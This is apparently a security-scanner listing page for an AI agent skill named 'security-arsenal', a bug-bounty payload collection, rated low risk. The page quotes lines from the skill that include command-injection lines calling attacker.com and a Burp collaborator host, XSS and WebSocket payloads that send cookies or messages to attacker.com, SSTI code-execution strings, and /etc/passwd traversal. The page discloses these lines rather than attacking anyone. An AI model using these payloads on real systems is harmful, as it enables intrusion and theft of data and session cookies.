← All skills
security-arsenal
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By adriannoes/awesome-agentic-ai (GitHub) · coding · 99 stars · scanned at commit e797ed5
Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, bypass techniques, or to check if a finding is submittable. Also use when asked about what NOT to submit.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com, target.com, attacker.burpcollaborator.net, target
This is disclosed by the author in the skill's SKILL.md or README.
Found in 13 places.
Show 10 more
- cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 316
curl -s -X POST https://target.com/api/login \ - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 344
; curl https://attacker.burpcollaborator.net - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 348
; wget https://attacker.com/$(id|base64) - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 532
var ws = new WebSocket('wss://target.com/ws'); - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 535
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data)); - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 550
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"} - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 604
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value}) - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 638
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s: - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 861
The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work agains - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 891
curl "https://target/search?q=${m}" | grep -c "$m"
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 21 places.
Show 17 more
- cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 212
../../../etc/passwd - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 228
GET /api/user/123/profile → GET /api/user/124/profile - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 246
POST /api/user/update - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 267
import base64, json - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 279
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 303
/login?username[$ne]=null&password[$ne]=null - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 316
curl -s -X POST https://target.com/api/login \ - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 330
; id - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 344
; curl https://attacker.burpcollaborator.net - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 354
;{cat,/etc/passwd} - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 378
test.jpg; id - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 406
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}} - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 436
<%= process.mainModule.require('child_process').execSync('id') %> - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 542
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com" - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 566
ffuf -u "https://target.com/api/verify-otp" \ - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 706
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml - cursor-claude-codex/skills/bug-hunter/skills/security-arsenal/SKILL.md, line 719
gf xss # XSS parameters
and 1 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'security-arsenal' ] || [ -L ~/.agents/skills/'security-arsenal' ]; then echo 'A skill folder named security-arsenal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/adriannoes/awesome-agentic-ai' "$d" && git -C "$d" checkout --quiet 'e797ed58cfe6dd6453fe7632f89d7226d203f6f6' -- 'cursor-claude-codex/skills/bug-hunter/skills/security-arsenal' && mkdir -p ~/.agents/skills && cp -R "$d"/'cursor-claude-codex/skills/bug-hunter/skills/security-arsenal' ~/.agents/skills/'security-arsenal' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'security-arsenal' ~/.claude/skills/'security-arsenal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for adriannoes/awesome-agentic-ai shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/adriannoes/awesome-agentic-ai/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | e797ed5 | 92 |